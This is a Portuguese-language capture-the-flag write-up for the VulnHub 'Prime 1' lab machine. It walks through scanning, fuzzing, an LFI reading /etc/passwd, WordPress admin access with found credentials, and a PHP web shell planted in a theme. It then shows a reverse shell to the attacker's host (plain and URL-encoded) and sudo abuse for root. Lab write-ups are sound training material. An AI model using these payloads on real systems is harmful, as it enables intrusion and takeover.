Link da Maquina: https://www.vulnhub.com/entry/prime-1,358/
Scan/Enumeracao
Host Discovery
- Descobrindo os hosts que estao de pe na rede
1
| sudo arp-scan -I eth1 192.168.150.0/24
|
Port Discovery
- Verificando quais portas estao abertas no alvo
1
| sudo nmap -n -T5 -p- 192.168.150.113
|
Port Scan
- Com o nmap -A vamos verificar o que esta rodando na porta 22 e 80 e quais sao as versoes
1
| sudo nmap -n -T5 -A -p 22,80 192.168.150.113
|
Exploracao
Web
Acessando a pagina pelo browser
- Acessando a pagina web. Nao tem nada no codigo fonte. A principio e so uma imagem
Fuzzy de diretorios
Depois de mais de 1 hora fazendo o fuzzy de diretorios, conseguimos um norte para seguirmos o nosso caminho…
Primeiramete vamos fazer o fuzzy na pagina principal em busca de diretorios e arquivos .php, .js e .txt
1
| gobuster dir -u http://192.168.150.113/ -w /usr/share/wordlists/dirb/big.txt -x php,js,txt
|
- Acessando o
/dev
temos um texto que fala que estamos no nivel 0
- No fuzzy temos um arquivo
secret.txt
que nos chamou atencao. Acessando ele temos algumas dicas. A primeira dica que ele nos da e para fazer o fuzzy nas paginas php, a segunda dica que ele nos da e para utilizar o wfuzz
e na ultima dica ele nos diz que o proximo passo esta no location.txt
- Utilizando o wfuzz, vamos fazer um fuzzy nas paginas php, conforme a primeira dica. Antes de procurar pelo arquivo temos que saber qual e a pagina .php que conseguiremos acessar o arquivo e qual e o parametro para podermos chama-lo
1
| wfuzz -c --hw 12 -w /usr/share/wordlists/dirb/big.txt -u http://192.168.150.113/index.php?FUZZ=qlqr_arquivo
|
- Agora que ja sabemos qual e o parametro, vamos fazer um fuzzy para tentar achar um arquivo “.txt”. Fizemos esse processo, mas pensando bem poderiamos procurar direto o location.txt, de acordo com a terceira dica do arquivo secret.txt
1
| wfuzz -c --hw 19 -w /usr/share/wordlists/dirb/big.txt -u http://192.168.150.113/index.php?file=FUZZ.txt
|
- O arquivo location.txt contem uma outra dica. Ele nos diz para usarmos o parametro
secrettier360
em uma outra pagina php
- O parametro secrettier360 pode ser utilizado na pagina
image.php
LFI
- Conseguimos um LFI na aplicacao depois de seguir todas as dicas. Bom… agora conseguimos dar uma olhada no /etc/passwd
1
| http://192.168.150.113/image.php?secrettier360=../../../../../../etc/passwd
|
Verificando os usuarios nao padrao do sistema temos dois, victor e saket.
No usuario saket tem uma dica no nome dele, find password.txt file in my directory
- O conteudo do aquivo password.txt e
follow_the_ippsec
1
| http://192.168.150.113/image.php?secrettier360=../../../../../../home/saket/password.txt
|
Wordpress
- Nao conseguimos logar na pagina do wordpress com o usuario saket
- Conseguimos acessar a pagina de administracao do wordpress com as credenciais
victor:follow_the_ippsec
- Depois de muito tempo procurando alguma brecha no wordpress, achamos o tema
secret.php
, que no seu conteudo nos diz que finalmente achamos um arquivo gravavel. Para chegar ate ele entramos na aba “Appearance” > “Theme Editor” > “secret.php”
RCE
- Agora e so inserir o fomoso backdoor php para executarmos codigo via URL
1
| <?php system($_GET['cmd']); ?>
|
Naquela brincadeira sem graca, no comeco do CTF, de fuzzy de diretorios achamos o endereco http://192.168.150.113/wordpress/wp-content/themes/, onde provavelmente sao armazenados os temas da aplicacao.
Agora temos um RCE passando comando via URL
1
| http://192.168.150.113/wordpress/wp-content/themes/twentynineteen/secret.php?cmd=id
|
Shell Reverso
- Primeiro vamos procurar, usando o rbscheat, por um comando php para nos dar um shell reverso
1
| rbscheat -i 192.168.150.113:443 -l php
|
php -r ‘$sock=fsockopen(“192.168.150.110”,443);exec(“/bin/sh -i <&3 >&3 2>&3”);’
- Depois utilizamos o Burp Suite para encodar o comando
- Vamos deixar a porta escutando na kali e enviar o comando de shell reverso via URL
1
| http://192.168.150.113/wordpress/wp-content/themes/twentynineteen/secret.php?cmd=%70%68%70%20%2d%72%20%27%24%73%6f%63%6b%3d%66%73%6f%63%6b%6f%70%65%6e%28%22%31%39%32%2e%31%36%38%2e%31%35%30%2e%31%31%30%22%2c%34%34%33%29%3b%65%78%65%63%28%22%2f%62%69%6e%2f%73%68%20%2d%69%20%3c%26%33%20%3e%26%33%20%32%3e%26%33%22%29%3b%27
|
- Melhorando o shell cachorro que recebemos
1
2
3
| script /dev/null
export TERM=xterm
python -c "import pty;pty.spawn('/bin/bash')"
|
Escalando Privilegio
Arquivos e Diretorios
- Seguindo a metodologia, procuramos por arquivos e diretorios com permissao de escrita e SUID
1
| find / -type d -writable 2> /dev/null | fgrep -v proc
|
Aqui estamos procurando por diretorios com permissao de escrita
1
| find / -type f -writable 2> /dev/null | fgrep -v proc | fgrep -v sys
|
Aqui estamos procurando po arquivos com permissao de escrita
1
| find / -type f -perm -4000 2>/dev/null | fgrep -v proc
|
E aqui estamos procurando por arquivos com permissao especial SUID
Programas/Binarios
- O proximo passo e verificar se podemos executar alguma coisa como sudo
- Ao tentar executar o
enc
ele pede uma senha
- Entao varrendo os diretorios da maquina alvo encontramos no diretorio
/opt/backup/server_database
um arquivo backup_pass
. O conteudo deste arquivo diz que a senha para o enc e backup_password
- Agora que temos a senha podemos executar o enc com o sudo
NOTA: Para dar certo tem que executar o enc usando o seu caminho absoluto, caso contrario, mesmo que esteja no mesmo diretorio, ele nao autentica com a senha encontrada
- Lendo os arquivos gerados pelo enc temos um texto criptografado e uma dica informando que a chave para descriptografar e a string “ippsec” convertida para hash md5
- Convertendo a string ippsec para hash md5
366a74cb3c959de17d61db30591c39d1
- Procuramos na internet e achamos esse script para podermos descriptografar a mensagem
1
2
3
4
5
6
7
8
| from Crypto.Cipher import AES
from base64 import b64decode
data = b64decode(b"nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=")
key = b"366a74cb3c959de17d61db30591c39d1"
cip = AES.new(key,AES.MODE_ECB)
print(cip.decrypt(data).decode("utf-8"))
|
- Para executar o arquivo tivemos que instalar algumas dependencias, pois estava dando erro na importacao da biblioteca
1
2
| sudo apt-get install python3-pip
pip install pycryptodome==3.4.3
|
- Agora conseguimos executar o script
tribute_to_ippsec
Usuario “saket”
- Vamos logar com o usuario saket
- Listamos os binarios que podem ser executados com o sudo
- Ao executar o binario e exibido uma mensagem de afronta e um erro de “not foud” do arquivo /tmp/challenge
- Provavelmente esse arquivo que nao foi encontrado sera executado como root. Entao vamos criar esse arquivo para nos enviar um shell e consequentemente viraremos ROOT!
1
2
3
4
5
6
| echo "/bin/sh" > /tmp/challenge
chmod +x /tmp/challenge
cat /tmp/challenge
sudo /home/victor/undefeated_victor
python -c "import pty;pty.spawn('/bin/bash')"
id
|
- Pronto, agora somos ROOT!
Flag